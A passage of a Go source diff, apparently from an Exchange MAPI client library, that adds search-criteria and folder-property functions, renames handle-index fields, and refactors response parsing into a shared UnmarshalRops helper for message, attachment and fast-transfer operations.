+//SetSearchCriteria function is used to set the search criteria on a folder or set of folders +func SetSearchCriteria(folderids, searchFolder []byte, restrictions Restriction) (*RopSetSearchCriteriaResponse, error) { + execRequest := ExecuteRequest{} + execRequest.Init() + + getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 + getFolder.FolderID = searchFolder + getFolder.OpenModeFlags = 0x00 + + fullReq := getFolder.Marshal() + + setCriteria := RopSetSearchCriteriaRequest{RopID: 0x30, LogonID: AuthSession.LogonID} + setCriteria.InputHandleIndex = 0x01 + + setCriteria.RestrictionData = restrictions.Marshal() + + setCriteria.RestrictDataSize = uint16(len(setCriteria.RestrictionData)) + setCriteria.FolderIds = folderids + setCriteria.FolderIDCount = uint16(len(folderids) / 8) + setCriteria.SearchFlags = RESTARTSEARCH | SHALLOWSEARCH | NONCONTENTINDEXEDSEARCH + + fullReq = append(fullReq, setCriteria.Marshal()...) + + execRequest.RopBuffer.ROP.RopsList = fullReq + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + openFolderResponse := RopOpenFolderResponse{} + setCriteriaResponse := RopSetSearchCriteriaResponse{} + rops := []RopResponse{&openFolderResponse, &setCriteriaResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + + return &setCriteriaResponse, e + +} + +//GetSearchCriteria function is used to set the search criteria on a folder or set of folders +func GetSearchCriteria(searchFolder []byte) (*RopGetSearchCriteriaResponse, error) { + execRequest := ExecuteRequest{} + execRequest.Init() + + getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 + getFolder.FolderID = searchFolder + getFolder.OpenModeFlags = 0x00 + + fullReq := getFolder.Marshal() + + getCriteria := RopGetSearchCriteriaRequest{RopID: 0x31, LogonID: AuthSession.LogonID} + getCriteria.InputHandleIndex = 0x01 + getCriteria.UseUnicode = 0x01 + getCriteria.IncludeFolders = 0x00 + getCriteria.IncludeRestriction = 0x00 + + fullReq = append(fullReq, getCriteria.Marshal()...) + + execRequest.RopBuffer.ROP.RopsList = fullReq + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + openFolderResponse := RopOpenFolderResponse{} + getCriteriaResponse := RopGetSearchCriteriaResponse{} + rops := []RopResponse{&openFolderResponse, &getCriteriaResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + + return &getCriteriaResponse, e + +} + +//SetFolderProperties is used to set one or more properties on a folder +func SetFolderProperties(folderid []byte, propertyTags []TaggedPropertyValue) (*RopSetPropertiesResponse, error) { + execRequest := ExecuteRequest{} + execRequest.Init() + + getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 + getFolder.FolderID = folderid + getFolder.OpenModeFlags = 0x00 + + fullReq := getFolder.Marshal() + + setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID} + setProperties.InputHandleIndex = 0x01 + setProperties.PropertValueCount = 1 + + setProperties.PropertyValues = propertyTags + propertySize := 0 + for _, p := range propertyTags { + propertySize += len(utils.BodyToBytes(p)) + } + + setProperties.PropertValueSize = uint16(propertySize + 2) + + fullReq = append(fullReq, setProperties.Marshal()...) + + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + execRequest.RopBuffer.ROP.RopsList = fullReq + + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + openFolderResponse := RopOpenFolderResponse{} + propertiesResponse := RopSetPropertiesResponse{} + rops := []RopResponse{&openFolderResponse, &propertiesResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + + return &propertiesResponse, e } @@ -792,8 +1049,8 @@ func CreateMessageRequest(folderID []byte, properties []TaggedPropertyValue, ass execRequest.Init() createMessage := RopCreateMessageRequest{RopID: 0x06, LogonID: AuthSession.LogonID} - createMessage.InputHandle = 0x00 - createMessage.OutputHandle = 0x01 + createMessage.InputHandleIndex = 0x00 + createMessage.OutputHandleIndex = 0x01 createMessage.FolderID = folderID createMessage.CodePageID = 0xFFF createMessage.AssociatedFlag = associated @@ -801,7 +1058,7 @@ func CreateMessageRequest(folderID []byte, properties []TaggedPropertyValue, ass fullReq := createMessage.Marshal() setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID} - setProperties.InputHandle = 0x01 + setProperties.InputHandleIndex = 0x01 setProperties.PropertValueCount = uint16(len(properties)) propertyTags := properties @@ -817,12 +1074,12 @@ func CreateMessageRequest(folderID []byte, properties []TaggedPropertyValue, ass saveMessage := RopSaveChangesMessageRequest{RopID: 0x0C, LogonID: AuthSession.LogonID} saveMessage.ResponseHandleIndex = 0x02 - saveMessage.InputHandle = 0x01 + saveMessage.InputHandleIndex = 0x01 saveMessage.SaveFlags = 0x02 fullReq = append(fullReq, saveMessage.Marshal()...) - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -834,32 +1091,14 @@ func CreateMessageRequest(folderID []byte, properties []TaggedPropertyValue, ass return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error - - createMessageResponse := RopCreateMessageResponse{} - - if p, e = createMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - - propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + createMessageResponse := RopCreateMessageResponse{} + propertiesResponse := RopSetPropertiesResponse{} + saveMessageResponse := RopSaveChangesMessageResponse{} + rops := []RopResponse{&createMessageResponse, &propertiesResponse, &saveMessageResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - bufPtr += p + return &saveMessageResponse, e - saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - - return &saveMessageResponse, e - } - - return nil, ErrUnknown } //CreateMessageAttachment creates the attachment object for a message. If the message is attached by reference, @@ -869,12 +1108,12 @@ func CreateMessageAttachment(folderid, messageid []byte, properties []TaggedProp execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -888,7 +1127,7 @@ func CreateMessageAttachment(folderid, messageid []byte, properties []TaggedProp fullReq = append(fullReq, createAttachment.Marshal()...) setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID} - setProperties.InputHandle = 0x02 + setProperties.InputHandleIndex = 0x02 setProperties.PropertValueCount = uint16(len(properties)) propertyTags := properties setProperties.PropertyValues = propertyTags @@ -905,16 +1144,15 @@ func CreateMessageAttachment(folderid, messageid []byte, properties []TaggedProp saveMessage := RopSaveChangesMessageRequest{RopID: 0x0C, LogonID: AuthSession.LogonID} saveMessage.ResponseHandleIndex = 0x02 - saveMessage.InputHandle = 0x01 + saveMessage.InputHandleIndex = 0x01 saveMessage.SaveFlags = 0x02 fullReq = append(fullReq, saveMessage.Marshal()...) - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x00} - //fullReq = append(fullReq, ropRelease.Marshal()...) - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x00} + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq = append(fullReq, ropRelease.Marshal()...) - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x02} + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -926,50 +1164,16 @@ func CreateMessageAttachment(folderid, messageid []byte, properties []TaggedProp return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error - - getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - - getAttachmentTblResp := RopGetAttachmentTableResponse{} - if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - - createAttachmentResp := RopCreateAttachmentResponse{} - if p, e = createAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - - propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + getMessageResp := RopOpenMessageResponse{} + getAttachmentTblResp := RopGetAttachmentTableResponse{} + createAttachmentResp := RopCreateAttachmentResponse{} + propertiesResponse := RopSetPropertiesResponse{} + saveAttachmentResp := RopSaveChangesAttachmentResponse{} + saveMessageResponse := RopSaveChangesMessageResponse{} + rops := []RopResponse{&getMessageResp, &getAttachmentTblResp, &createAttachmentResp, &propertiesResponse, &saveAttachmentResp, &saveMessageResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - bufPtr += p - - saveAttachmentResp := RopSaveChangesAttachmentResponse{} - if p, e = saveAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - - saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - - return &createAttachmentResp, e - } - - return &RopCreateAttachmentResponse{}, ErrUnknown + return &createAttachmentResp, e } @@ -978,12 +1182,12 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -1011,168 +1215,124 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr execResponse, err := sendMapiRequest(execRequest) if err != nil { - utils.Error.Println(err) return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error - - getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - - getAttachmentTblResp := RopGetAttachmentTableResponse{} - if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p + getMessageResp := RopOpenMessageResponse{} + getAttachmentTblResp := RopGetAttachmentTableResponse{} + getAttachmentResp := RopOpenAttachmentResponse{} + openStreamResp := RopOpenStreamResponse{} + setStreamSizeResp := RopSetStreamSizeResponse{} - getAttachmentResp := RopOpenAttachmentResponse{} - if p, e = getAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - - openStreamResp := RopOpenStreamResponse{} - if p, e = openStreamResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + rops := []RopResponse{&getMessageResp, &getAttachmentTblResp, &getAttachmentResp, &openStreamResp, &setStreamSizeResp} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - bufPtr += p + if e != nil { + return nil, e + } - setStreamSizeResp := RopSetStreamSizeResponse{} - if _, e = setStreamSizeResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e + serverHandles := execResponse.RopBuffer.Body[len(execResponse.RopBuffer.Body)-12:] + //messageHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-12:] + utils.Debug.Printf("Starting Upload") + //lets split it.. + index := 0 + split := 3000 + piecescnt := len(propData) / split + for kk := 0; kk < piecescnt; kk++ { + utils.Debug.Printf("Writing %d of %d", kk, piecescnt) + var body []byte + if index+split < len(propData) { + body = propData[index : index+split] } + index += split - serverHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-12:] - //messageHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-12:] - utils.Debug.Printf("Starting Upload") - //lets split it.. - index := 0 - split := 3000 - piecescnt := len(propData) / split - for kk := 0; kk < piecescnt; kk++ { - utils.Debug.Printf("Writing %d of %d", kk, piecescnt) - var body []byte - if index+split < len(propData) { - body = propData[index : index+split] - } - index += split - - execRequest := ExecuteRequest{} - execRequest.Init() - - writeStream := RopWriteStreamRequest{RopID: 0x2D, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} - writeStream.DataSize = uint16(len(body)) - writeStream.Data = body + execRequest := ExecuteRequest{} + execRequest.Init() - fullReq = writeStream.Marshal() + writeStream := RopWriteStreamRequest{RopID: 0x2D, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} + writeStream.DataSize = uint16(len(body)) + writeStream.Data = body - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} // - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) - execRequest.RopBuffer.ROP.RopsList = fullReq + fullReq = writeStream.Marshal() - _, err := sendMapiRequest(execRequest) + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} // + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) + execRequest.RopBuffer.ROP.RopsList = fullReq - if err != nil { - return nil, &TransportError{err} - } + _, err := sendMapiRequest(execRequest) + if err != nil { + return nil, &TransportError{err} } - if len(propData) < split || piecescnt == 0 || len(propData) >= split*piecescnt { - utils.Debug.Printf("Writing final piece %d of %d", piecescnt, piecescnt) - body := propData[index:] - execRequest := ExecuteRequest{} - execRequest.Init() - writeStream := RopWriteStreamRequest{RopID: 0x2D, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} - writeStream.DataSize = uint16(len(body)) - writeStream.Data = body - fullReq = writeStream.Marshal() + } + if len(propData) < split || piecescnt == 0 || len(propData) >= split*piecescnt { + utils.Debug.Printf("Writing final piece %d of %d", piecescnt, piecescnt) + body := propData[index:] + execRequest := ExecuteRequest{} + execRequest.Init() + writeStream := RopWriteStreamRequest{RopID: 0x2D, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} + writeStream.DataSize = uint16(len(body)) + writeStream.Data = body - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) - execRequest.RopBuffer.ROP.RopsList = fullReq + fullReq = writeStream.Marshal() - _, err := sendMapiRequest(execRequest) + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) + execRequest.RopBuffer.ROP.RopsList = fullReq - if err != nil { - return nil, &TransportError{err} - } + _, err := sendMapiRequest(execRequest) + if err != nil { + return nil, &TransportError{err} } - execRequest := ExecuteRequest{} - execRequest.Init() - - commitStream := RopCommitStreamRequest{RopID: 0x5D, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} - - fullReq = commitStream.Marshal() + } - saveAttachment := RopSaveChangesAttachmentRequest{RopID: 0x25, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, ResponseHandleIndex: 0x02, SaveFlags: 0x0A} - fullReq = append(fullReq, saveAttachment.Marshal()...) + execRequest = ExecuteRequest{} + execRequest.Init() - saveMessage := RopSaveChangesMessageRequest{RopID: 0x0C, LogonID: AuthSession.LogonID} - saveMessage.ResponseHandleIndex = 0x02 - saveMessage.InputHandle = 0x01 - saveMessage.SaveFlags = 0x02 + commitStream := RopCommitStreamRequest{RopID: 0x5D, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} - fullReq = append(fullReq, saveMessage.Marshal()...) + fullReq = commitStream.Marshal() - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} - fullReq = append(fullReq, ropRelease.Marshal()...) + saveAttachment := RopSaveChangesAttachmentRequest{RopID: 0x25, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, ResponseHandleIndex: 0x02, SaveFlags: 0x0A} + fullReq = append(fullReq, saveAttachment.Marshal()...) - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x02} - fullReq = append(fullReq, ropRelease.Marshal()...) + saveMessage := RopSaveChangesMessageRequest{RopID: 0x0C, LogonID: AuthSession.LogonID} + saveMessage.ResponseHandleIndex = 0x02 + saveMessage.InputHandleIndex = 0x01 + saveMessage.SaveFlags = 0x02 - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x03} - fullReq = append(fullReq, ropRelease.Marshal()...) + fullReq = append(fullReq, saveMessage.Marshal()...) - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) - execRequest.RopBuffer.ROP.RopsList = fullReq + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} + fullReq = append(fullReq, ropRelease.Marshal()...) - execResponse, err := sendMapiRequest(execRequest) + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02} + fullReq = append(fullReq, ropRelease.Marshal()...) - if err != nil { - return nil, &TransportError{err} - } + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} + fullReq = append(fullReq, ropRelease.Marshal()...) - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) + execRequest.RopBuffer.ROP.RopsList = fullReq - commitStreamResp := RopCommitStreamResponse{} - if p, e = commitStreamResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - //utils.Debug.Println("Commit Stream: ", commitStreamResp) + execResponse, err = sendMapiRequest(execRequest) - saveAttachmentResp := RopSaveChangesAttachmentResponse{} - if p, e = saveAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - //utils.Debug.Println("Save: ", saveAttachmentResp) + if err != nil { + return nil, &TransportError{err} + } - saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - //utils.Debug.Println("Save: ", saveMessageResponse) + commitStreamResp := RopCommitStreamResponse{} + saveAttachmentResp := RopSaveChangesAttachmentResponse{} + saveMessageResponse := RopSaveChangesMessageResponse{} + rops = []RopResponse{&commitStreamResp, &saveAttachmentResp, &saveMessageResponse} + _, e = UnmarshalRops(execResponse.RopBuffer.Body, rops) - return &saveAttachmentResp, e - } + return &saveAttachmentResp, e - } - return &RopSaveChangesAttachmentResponse{}, ErrUnknown } //SetMessageProperties is used to update the properties of a message @@ -1182,8 +1342,8 @@ func SetMessageProperties(folderid, messageid []byte, propertyTags []TaggedPrope execRequest.Init() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -1192,7 +1352,7 @@ func SetMessageProperties(folderid, messageid []byte, propertyTags []TaggedPrope fullReq := getMessage.Marshal() setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID} - setProperties.InputHandle = 0x01 + setProperties.InputHandleIndex = 0x01 setProperties.PropertValueCount = uint16(len(propertyTags)) setProperties.PropertyValues = propertyTags propertySize := 0 @@ -1206,7 +1366,7 @@ func SetMessageProperties(folderid, messageid []byte, propertyTags []TaggedPrope saveMessage := RopSaveChangesMessageRequest{RopID: 0x0C, LogonID: AuthSession.LogonID} saveMessage.ResponseHandleIndex = 0x02 - saveMessage.InputHandle = 0x01 + saveMessage.InputHandleIndex = 0x01 saveMessage.SaveFlags = 0x02 fullReq = append(fullReq, saveMessage.Marshal()...) @@ -1220,30 +1380,13 @@ func SetMessageProperties(folderid, messageid []byte, propertyTags []TaggedPrope return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error - - getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - - saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) + getMessageResp := RopOpenMessageResponse{} + propertiesResponse := RopSetPropertiesResponse{} + saveMessageResponse := RopSaveChangesMessageResponse{} + rops := []RopResponse{&getMessageResp, &propertiesResponse, &saveMessageResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - return &saveMessageResponse, e - } - return nil, ErrUnknown + return &saveMessageResponse, e } @@ -1252,12 +1395,12 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -1265,7 +1408,7 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV fullReq = append(fullReq, getMessage.Marshal()...) - fastTransfer := RopFastTransferDestinationConfigureRequest{RopID: 0x53, LogonID: AuthSession.LogonID, InputHandle: 0x01, OutputHandle: 0x02, SourceOperation: 0x01, CopyFlags: 0x01} + fastTransfer := RopFastTransferDestinationConfigureRequest{RopID: 0x53, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, OutputHandleIndex: 0x02, SourceOperation: 0x01, CopyFlags: 0x01} fullReq = append(fullReq, fastTransfer.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -1277,64 +1420,60 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { + //we probably need to get the handles here to pass them down into the ServerObjectHandleTable + serverHandles := execResponse.RopBuffer.Body[len(execResponse.RopBuffer.Body)-8:] + messageHandles := serverHandles - //we probably need to get the handles here to pass them down into the ServerObjectHandleTable - serverHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-8:] - messageHandles := serverHandles - //fmt.Printf("Handles: %x\n", serverHandles) - props := utils.BodyToBytes(property) //setProperties.Marshal() - - //lets split it.. - index := 0 - split := 9000 - piecescnt := len(props) / split - for kk := 0; kk < piecescnt; kk++ { - var body []byte - if index+split < len(props) { - body = props[index : index+split] - } - index += split - //fmt.Printf("%x\n", body) - execRequest := ExecuteRequest{} - execRequest.Init() - setFast := RopFastTransferDestinationPutBufferRequest{RopID: 0x54, LogonID: AuthSession.LogonID, InputHandle: 0x02, TransferDataSize: uint16(len(body)), TransferData: body} - fullReq := setFast.Marshal() + props := utils.BodyToBytes(property) - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} // - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) - execRequest.RopBuffer.ROP.RopsList = fullReq + //lets split it.. + index := 0 + split := 9000 + piecescnt := len(props) / split + for kk := 0; kk < piecescnt; kk++ { + var body []byte + if index+split < len(props) { + body = props[index : index+split] + } + index += split + //fmt.Printf("%x\n", body) + execRequest := ExecuteRequest{} + execRequest.Init() + setFast := RopFastTransferDestinationPutBufferRequest{RopID: 0x54, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02, TransferDataSize: uint16(len(body)), TransferData: body} + fullReq := setFast.Marshal() - execResponse, err := sendMapiRequest(execRequest) + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 